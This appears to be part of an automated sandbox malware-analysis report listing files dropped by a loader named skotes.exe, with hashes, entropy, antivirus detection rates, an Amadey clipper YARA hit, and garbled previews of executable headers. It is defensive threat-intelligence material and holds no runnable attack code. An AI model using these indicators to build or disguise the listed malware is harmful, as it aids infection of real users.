                                                                                                                                                                                                                                                                                  Size (bytes):22016
                                                                                                                                                                                                                                                                                  Entropy (8bit):5.338206717136569
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
                                                                                                                                                                                                                                                                                  MD5:04F57C6FB2B2CD8DCC4B38E4A93D4366
                                                                                                                                                                                                                                                                                  SHA1:61770495AA18D480F70B654D1F57998E5BD8C885
                                                                                                                                                                                                                                                                                  SHA-256:51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
                                                                                                                                                                                                                                                                                  SHA-512:53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 57%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....| .....(...+.| ...(....*.0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(......*.0..8.......s2.....(....}(.....}).....}'....|(.....(...+.|(...(....*.0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+...*.0............r...p( ...o!....+..*...0............r...p( ...o!....+..*...0..2.........r...pr...p

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):321
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.99323851364312
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:6:kX32J19HgIJAuuuthkP//f4IoWzqs4jW1CRW35jY:kWJ1JgIOuHhA/XvoPPWV5k
                                                                                                                                                                                                                                                                                  MD5:7225D8C283F7B303692A163301880199
                                                                                                                                                                                                                                                                                  SHA1:7BF7F829E108693DB3DAD66B557EAA1DBA464D94
                                                                                                                                                                                                                                                                                  SHA-256:19B824BE603626AAD3EB7CAAA5F56F709F22AE80965559A81977DEC9CB22A944
                                                                                                                                                                                                                                                                                  SHA-512:05125D14C265EED21453D2A6E8007F3BF2C2F339567718AF4F4A20C8EB1474EA73A7656B4EDF13B937B25AB3045601F49D19F8E47521C601FD17D3A218BE0D60
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:{. "ip": "8.46.123.189",. "hostname": "static-cpe-8-46-123-189.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1861632
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.947162986091251
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:49152:pXszOuMpJuVj4ozSuhfA6CFRStA4LyHY7LJAf:ezDMeVj2ICFRFOyHY7LJi
                                                                                                                                                                                                                                                                                  MD5:15709EBA2AFAF7CC0A86CE0ABF8E53F1
                                                                                                                                                                                                                                                                                  SHA1:238EBF0D386ECF0E56D0DDB60FACA0EA61939BB6
                                                                                                                                                                                                                                                                                  SHA-256:10BFF40A9D960D0BE3CC81B074A748764D7871208F324DE26D365B1F8EA3935A
                                                                                                                                                                                                                                                                                  SHA-512:65EDEFA20F0BB35BEE837951CCD427B94A18528C6E84DE222B1AA0AF380135491BB29A049009F77E66FCD2ABE5376A831D98E39055E1042CCEE889321B96E8E9
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 47%
                                                                                                                                                                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................PI...........@...........................I.....IA....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...wekcazbo.....P/......^..............@...ttllozcv.....@I......@..............@....taggant.0...PI.."...F..............@...................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1374720
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.0671827674657335
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
                                                                                                                                                                                                                                                                                  MD5:669ED3665495A4A52029FF680EC8EBA9
                                                                                                                                                                                                                                                                                  SHA1:7785E285365A141E307931CA4C4EF00B7ECC8986
                                                                                                                                                                                                                                                                                  SHA-256:2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
                                                                                                                                                                                                                                                                                  SHA-512:BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 28%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):64
                                                                                                                                                                                                                                                                                  Entropy (8bit):1.1940658735648508
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:Nlllul5vR/ltZ:NllU
                                                                                                                                                                                                                                                                                  MD5:B0C7CD32494D3E97C3D391E3F6C0284B
                                                                                                                                                                                                                                                                                  SHA1:E4AEC8EAF1CE6EAB53081BFC3CF83CA5345D0EBD
                                                                                                                                                                                                                                                                                  SHA-256:073696C1E4001510008CF5A1A93E8AAE5B9E48FA6648A0A09A70B824ACAE5D53
                                                                                                                                                                                                                                                                                  SHA-512:52D4CD24B6B1D7EB83BA3E2F41AEE0488DC8D32843D145019F45901FDBBCE019196DB419BE16222319D9C62D22E4ED5DF8E51E916877E763F3FE6DA8C72A6B00
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:@...e.................................(.4............@..........

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):4438776
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.99505709582503
                                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                                  SSDEEP:98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
                                                                                                                                                                                                                                                                                  MD5:3A425626CBD40345F5B8DDDD6B2B9EFA
                                                                                                                                                                                                                                                                                  SHA1:7B50E108E293E54C15DCE816552356F424EEA97A
                                                                                                                                                                                                                                                                                  SHA-256:BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
                                                                                                                                                                                                                                                                                  SHA-512:A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 87%
                                                                                                                                                                                                                                                                                  Preview:MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1861632
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.947162986091251
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:49152:pXszOuMpJuVj4ozSuhfA6CFRStA4LyHY7LJAf:ezDMeVj2ICFRFOyHY7LJi
                                                                                                                                                                                                                                                                                  MD5:15709EBA2AFAF7CC0A86CE0ABF8E53F1
                                                                                                                                                                                                                                                                                  SHA1:238EBF0D386ECF0E56D0DDB60FACA0EA61939BB6
                                                                                                                                                                                                                                                                                  SHA-256:10BFF40A9D960D0BE3CC81B074A748764D7871208F324DE26D365B1F8EA3935A
                                                                                                                                                                                                                                                                                  SHA-512:65EDEFA20F0BB35BEE837951CCD427B94A18528C6E84DE222B1AA0AF380135491BB29A049009F77E66FCD2ABE5376A831D98E39055E1042CCEE889321B96E8E9
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 47%
                                                                                                                                                                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................PI...........@...........................I.....IA....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...wekcazbo.....P/......^..............@...ttllozcv.....@I......@..............@....taggant.0...PI.."...F..............@...................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):439296
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.4903731089009495
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:12288:v4RG6lx/9Njr18QlSfJy4FjMSkJCzDLGDWD:O9NtSTZMzmmD4
                                                                                                                                                                                                                                                                                  MD5:51FF79B406CB223DD49DD4C947EC97B0
                                                                                                                                                                                                                                                                                  SHA1:B9B0253480A1B6CBDD673383320FECAE5EFB3DCE
                                                                                                                                                                                                                                                                                  SHA-256:2E3A5DFA44D59681A60D78B8B08A1AF3878D8E270C02D7E31A0876A85EB42A7E
                                                                                                                                                                                                                                                                                  SHA-512:C2B8D15B0DC1B0846F39CE007BE2DEB41D5B6AE76AF90D618F29DA8691ED987C42F3C270F0EA7F4D10CBD2D3877118F4133803C9C965B6FF236FF8CFAFD9367C
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Yara Hits:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe, Author: Joe Security
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 55%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L....3dg............................'.............@..........................0............@..................................E...................................E......8...............................@...............<............................text...j........................... ..`.rdata...H.......J..................@..@.data....m...`...,...@..............@....rsrc................l..............@..@.reloc...E.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):605696
                                                                                                                                                                                                                                                                                  Entropy (8bit):6.377818589865092
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:12288:aYoGFIZzm1vI5ubYumjqu6lpvD/IlfUye7K3c:aYoGFIZzm1vlbFmjWlpL/Iw7K3
                                                                                                                                                                                                                                                                                  MD5:3567CB15156760B2F111512FFDBC1451
                                                                                                                                                                                                                                                                                  SHA1:2FDB1F235FC5A9A32477DAB4220ECE5FDA1539D4
                                                                                                                                                                                                                                                                                  SHA-256:0285D3A6C1CA2E3A993491C44E9CF2D33DBEC0FB85FDBF48989A4E3B14B37630
                                                                                                                                                                                                                                                                                  SHA-512:E7A31B016417218387A4702E525D33DD4FE496557539B2AB173CEC0CB92052C750CFC4B3E7F02F3C66AC23F19A0C8A4EB6C9D2B590A5E9FAEB525E517BC877BA
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 63%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M...............B.......B.......v.......v......B........v..c...R.......B.......B...............Bw......Bw+.......C.....Bw......Rich....................PE..d...1.1g.........."....).....l.......2.........@..........................................`..........................................................`..H.......tL...........p..........p.......................(...@...@............................................text...>........................... ..`.rdata..d...........................@..@.data....;..........................@....pdata..tL.......N..................@..@.rsrc...H....`.......,..............@..@.reloc.......p.......2..............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):4468736
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.984920105910557
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:98304:d+ti7+kh2BWzN/cki6Xayhos0BtruSybD/Ko6gELrpP:Ati7+I2BWzpPi6X7mxf6tbbPs
                                                                                                                                                                                                                                                                                  MD5:49FC187B211896A8D43FB7F54686B072
                                                                                                                                                                                                                                                                                  SHA1:202FBB9B53023F6C3C101A871E716A35EE06F69D
                                                                                                                                                                                                                                                                                  SHA-256:529C63741B376355BC8CD10C2D28279719E2167474D02272FB365D3F1F536129
                                                                                                                                                                                                                                                                                  SHA-512:D58B50D743D52CCB09F1A41D651258AD6648099B24DE63C5E416669AFEFA26D685BF2AB1CC80D693753F32BA2ECFFD25334D1BC360B7D7ADF0AC442C78A37ACF
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...........pH...@.................................dVD...@... ............................._pt.s....`t............................................................................................................. . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... .p8...t......`(.............@...pfkrromk............b(.............@...hghjijlv..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):1374720
                                                                                                                                                                                                                                                                                  Entropy (8bit):7.0671827674657335
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
                                                                                                                                                                                                                                                                                  MD5:669ED3665495A4A52029FF680EC8EBA9
                                                                                                                                                                                                                                                                                  SHA1:7785E285365A141E307931CA4C4EF00B7ECC8986
                                                                                                                                                                                                                                                                                  SHA-256:2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
                                                                                                                                                                                                                                                                                  SHA-512:BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 28%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):22016
                                                                                                                                                                                                                                                                                  Entropy (8bit):5.338206717136569
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
                                                                                                                                                                                                                                                                                  MD5:04F57C6FB2B2CD8DCC4B38E4A93D4366
                                                                                                                                                                                                                                                                                  SHA1:61770495AA18D480F70B654D1F57998E5BD8C885
                                                                                                                                                                                                                                                                                  SHA-256:51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
                                                                                                                                                                                                                                                                                  SHA-512:53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
                                                                                                                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                                                                                                                  Antivirus:
                                                                                                                                                                                                                                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                                                  • Antivirus: ReversingLabs, Detection: 57%
                                                                                                                                                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....| .....(...+.| ...(....*.0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(......*.0..8.......s2.....(....}(.....}).....}'....|(.....(...+.|(...(....*.0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+...*.0............r...p( ...o!....+..*...0............r...p( ...o!....+..*...0..2.........r...pr...p

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qolotyr.qso.psm1

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cymooykj.ued.psm1

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_epjltkj1.ctt.ps1

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mdreki0v.dd0.ps1

                                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                                  Size (bytes):60
                                                                                                                                                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ryjtbzav.q4g.psm1

                                                                                                                                                                                                                                                                                  Download File
